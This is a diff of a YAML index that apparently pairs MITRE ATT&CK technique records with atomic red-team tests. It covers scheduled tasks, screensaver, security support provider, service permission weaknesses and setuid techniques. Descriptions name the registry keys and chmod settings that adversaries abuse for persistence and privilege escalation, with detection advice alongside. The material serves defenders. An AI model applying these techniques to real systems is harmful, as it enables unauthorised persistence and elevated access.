         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/005
+        external_id: T1053.005
+        source_name: mitre-attack
+      - source_name: Twitter Leoloobeek Scheduled Task
+        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
+          December 12, 2017.
+        url: https://twitter.com/leoloobeek/status/939248813465853953
+      - source_name: TechNet Forum Scheduled Task Operational Setting
+        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
+          settings. Retrieved December 12, 2017.
+        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
+      - source_name: TechNet Scheduled Task Events
+        description: Microsoft. (n.d.). General Task Registration. Retrieved December
+          12, 2017.
+        url: https://technet.microsoft.com/library/dd315590.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
+        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
+          Retrieved June 27, 2019.
+        source_name: Microsoft Scheduled Task Events Win10
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1053.005
     atomic_tests:
     - name: Scheduled Task Startup Script
@@ -18561,27 +18912,44 @@ privilege-escalation:
         name: command_prompt
   T1053:
     technique:
-      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Scheduled Task/Job
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Container: Container Creation'
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.1'
+      modified: '2021-10-15T14:36:26.445Z'
+      created: '2017-05-31T21:30:46.977Z'
+      x_mitre_contributors:
+      - Prashant Verma, Paladion
+      - Leo Loobeek, @leoloobeek
+      - Travis Smith, Tripwire
+      - Alain Homewood, Insomnia Security
+      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: |-
         Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)
 
         Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053
-        url: https://attack.mitre.org/techniques/T1053
-      - external_id: CAPEC-557
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/557.html
-      - url: https://technet.microsoft.com/en-us/library/cc785125.aspx
-        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
-          June 8, 2016.
-        source_name: TechNet Task Scheduler Security
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - SYSTEM
+      - Administrator
+      - User
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -18589,22 +18957,7 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-20T16:31:11.405Z'
-      created: '2017-05-31T21:30:46.977Z'
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - Containers
       x_mitre_remote_support: true
-      x_mitre_effective_permissions:
-      - SYSTEM
-      - Administrator
-      - User
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -18615,39 +18968,45 @@ privilege-escalation:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement."
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Container: Container Creation'
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Prashant Verma, Paladion
-      - Leo Loobeek, @leoloobeek
-      - Travis Smith, Tripwire
-      - Alain Homewood, Insomnia Security
-      x_mitre_version: '2.1'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053
+        external_id: T1053
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/557.html
+        external_id: CAPEC-557
+        source_name: capec
+      - source_name: TechNet Task Scheduler Security
+        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
+          June 8, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc785125.aspx
     atomic_tests: []
   T1546.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.002
-        url: https://attack.mitre.org/techniques/T1546/002
-      - source_name: Wikipedia Screensaver
-        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
-          5, 2017.
-        url: https://en.wikipedia.org/wiki/Screensaver
-      - source_name: ESET Gazer Aug 2017
-        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
-          backdoor. Retrieved September 14, 2017.'
-        url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Screensaver
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-23T12:23:04.955Z'
+      created: '2020-01-24T13:51:01.210Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.
 
@@ -18659,33 +19018,25 @@ privilege-escalation:
         * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed
 
         Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
-      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-23T12:23:04.955Z'
-      created: '2020-01-24T13:51:01.210Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Bartosz Jerzman
       x_mitre_detection: |-
         Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.
 
         Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_contributors:
-      - Bartosz Jerzman
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/002
+        external_id: T1546.002
+        source_name: mitre-attack
+      - url: https://en.wikipedia.org/wiki/Screensaver
+        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
+          5, 2017.
+        source_name: Wikipedia Screensaver
+      - url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
+        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
+          backdoor. Retrieved September 14, 2017.'
+        source_name: ESET Gazer Aug 2017
       identifier: T1546.002
     atomic_tests:
     - name: Set Arbitrary Binary as Screensaver
@@ -18714,51 +19065,51 @@ privilege-escalation:
         elevation_required: true
   T1547.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.005
-        url: https://attack.mitre.org/techniques/T1547/005
-      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
-        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
-          Provider DLLs. Retrieved March 1, 2017.
-        source_name: Graeber 2014
-      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
-        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
-          Retrieved June 24, 2015.
-        source_name: Microsoft Configure LSA
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-25T15:42:48.910Z'
       name: Security Support Provider
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T17:16:11.806Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
       description: |-
         Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.
 
         The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
-      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-25T15:42:48.910Z'
-      created: '2020-01-24T17:16:11.806Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
         Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
         R2 may generate events when unsigned SSP DLLs try to load into the LSA by
         setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
         File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
         2014) (Citation: Microsoft Configure LSA)'
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/005
+        external_id: T1547.005
+        source_name: mitre-attack
+      - source_name: Graeber 2014
+        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
+          Provider DLLs. Retrieved March 1, 2017.
+        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
+      - source_name: Microsoft Configure LSA
+        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
+          Retrieved June 24, 2015.
+        url: https://technet.microsoft.com/en-us/library/dn408187.aspx
       identifier: T1547.005
     atomic_tests:
     - name: Modify SSP configuration in registry
@@ -18787,8 +19138,16 @@ privilege-escalation:
         elevation_required: true
   T1574.010:
     technique:
-      created: '2020-03-12T20:43:53.998Z'
+      type: attack-pattern
       modified: '2020-09-16T19:10:04.262Z'
+      name: Services File Permissions Weakness
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      x_mitre_version: '1.0'
+      created: '2020-03-12T20:43:53.998Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -18796,25 +19155,26 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
 
         Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
-      name: Services File Permissions Weakness
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.010
-        url: https://attack.mitre.org/techniques/T1574/010
-      - external_id: CAPEC-17
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/17.html
-      x_mitre_platforms:
-      - Windows
+      x_mitre_contributors:
+      - Travis Smith, Tripwire
+      - Stefan Kanthak
+      x_mitre_effective_permissions:
+      - SYSTEM
+      - Administrator
+      - User
       x_mitre_detection: "Look for changes to binaries and service executables that
         may normally occur during software updates. If an executable is written, renamed,
         and/or moved to match an existing service executable, it could be detected
@@ -18823,28 +19183,29 @@ privilege-escalation:
         for abnormal process call trees from typical processes and services and for
         execution of other commands that could relate to Discovery or other adversary
         techniques. "
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_effective_permissions:
-      - SYSTEM
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      x_mitre_contributors:
-      - Travis Smith, Tripwire
-      - Stefan Kanthak
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/010
+        external_id: T1574.010
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/17.html
+        external_id: CAPEC-17
+        source_name: capec
     atomic_tests: []
   T1574.011:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Services Registry Permissions Weakness
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T23:52:52.058Z'
       created: '2020-03-13T11:42:14.444Z'
-      modified: '2020-09-16T19:07:48.590Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -18852,81 +19213,76 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
       id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
-      description: "Adversaries may execute their own malicious payloads by hijacking
-        the Registry entries used by services. Adversaries may use flaws in the permissions
-        for registry to redirect from the originally specified executable to one that
-        they control, in order to launch their own code at Service start.  Windows
-        stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
-        The information stored under a service's Registry keys can be manipulated
-        to modify a service's execution parameters through tools such as the service
-        controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),
-        or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys
-        is controlled through Access Control Lists and permissions. (Citation: Registry
-        Key Security)\n\nIf the permissions for users and groups are not properly
-        set and allow access to the Registry keys for a service, then adversaries
-        can change the service binPath/ImagePath to point to a different executable
-        under their control. When the service starts or is restarted, then the adversary-controlled
-        program will execute, allowing the adversary to gain persistence and/or privilege
-        escalation to the account context the service is set to execute under (local/domain
-        account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also
-        alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>)
-        that may be executed in an elevated context anytime the service fails or is
-        intentionally corrupted.(Citation: Kansa Service related collectors)(Citation:
-        Tweet Registry Perms Weakness) "
-      name: Services Registry Permissions Weakness
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.011
-        url: https://attack.mitre.org/techniques/T1574/011
-      - external_id: CAPEC-478
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/478.html
-      - source_name: Registry Key Security
-        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
-          Retrieved March 16, 2017.
-      - source_name: Kansa Service related collectors
-        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
-        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
-          analysis. Retrieved October 10, 2019.'
-      - source_name: Tweet Registry Perms Weakness
-        url: https://twitter.com/r0wdy_/status/936365549553991680
-        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
-          April 9, 2018."
-      - source_name: Autoruns for Windows
-        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
-        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
-          Retrieved March 13, 2020.
+      x_mitre_defense_bypassed:
+      - Application control
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
+
+        If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
+
+        Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
+
+        The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
+
+        Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)
+      x_mitre_effective_permissions:
+      - SYSTEM
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Matthew Demaske, Adaptforward
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
 
         Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_defense_bypassed:
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/011
+        external_id: T1574.011
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/478.html
+        external_id: CAPEC-478
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
+          Retrieved March 16, 2017.
+        source_name: Registry Key Security
+      - url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
+        description: Lawrence Abrams. (2004, September 10). How Malware hides and
+          is installed as a Service. Retrieved August 30, 2021.
+        source_name: malware_hides_service
+      - url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
+        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
+          analysis. Retrieved October 10, 2019.'
+        source_name: Kansa Service related collectors
+      - url: https://twitter.com/r0wdy_/status/936365549553991680
+        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
+          April 9, 2018."
+        source_name: Tweet Registry Perms Weakness
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
+        description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services
+          Registry Tree. Retrieved August 25, 2021.
+        source_name: microsoft_services_registry_tree
+      - url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
+        description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service
+          Insecure Registry Permissions EoP. Retrieved August 25, 2021.
+        source_name: insecure_reg_perms
+      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost
+        description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September
+          2, 2021.
+        source_name: troj_zegost
+      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
+        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
+          Retrieved March 13, 2020.
+        source_name: Autoruns for Windows
       identifier: T1574.011
     atomic_tests:
     - name: Service Registry Permissions Weakness
@@ -18990,51 +19346,51 @@ privilege-escalation:
         name: command_prompt
   T1548.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.001
-        url: https://attack.mitre.org/techniques/T1548/001
-      - url: http://man7.org/linux/man-pages/man2/setuid.2.html
-        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
-          Retrieved September 21, 2018.
-        source_name: setuid man page
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Setuid and Setgid
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Metadata'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T00:43:58.149Z'
+      created: '2020-01-30T14:11:41.212Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
       description: |-
         An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.
 
         Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.
 
         Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).
-      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-27T00:43:58.149Z'
-      created: '2020-01-30T14:11:41.212Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Monitor the file system for files that have the setuid or
         setgid bits set. Monitor for execution of utilities, like chmod, and their
         command-line arguments to look for setuid or setguid bits being set.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Metadata'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/001
+        external_id: T1548.001
+        source_name: mitre-attack
+      - source_name: setuid man page
+        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
+          Retrieved September 21, 2018.
+        url: http://man7.org/linux/man-pages/man2/setuid.2.html
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
       identifier: T1548.001
     atomic_tests:
     - name: Make and modify binary from C source
@@ -19158,53 +19514,53 @@ privilege-escalation:
         elevation_required: true
   T1547.009:
     technique:
-      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
-      description: |-
-        Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.
-
-        Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
-      name: Shortcut Modification
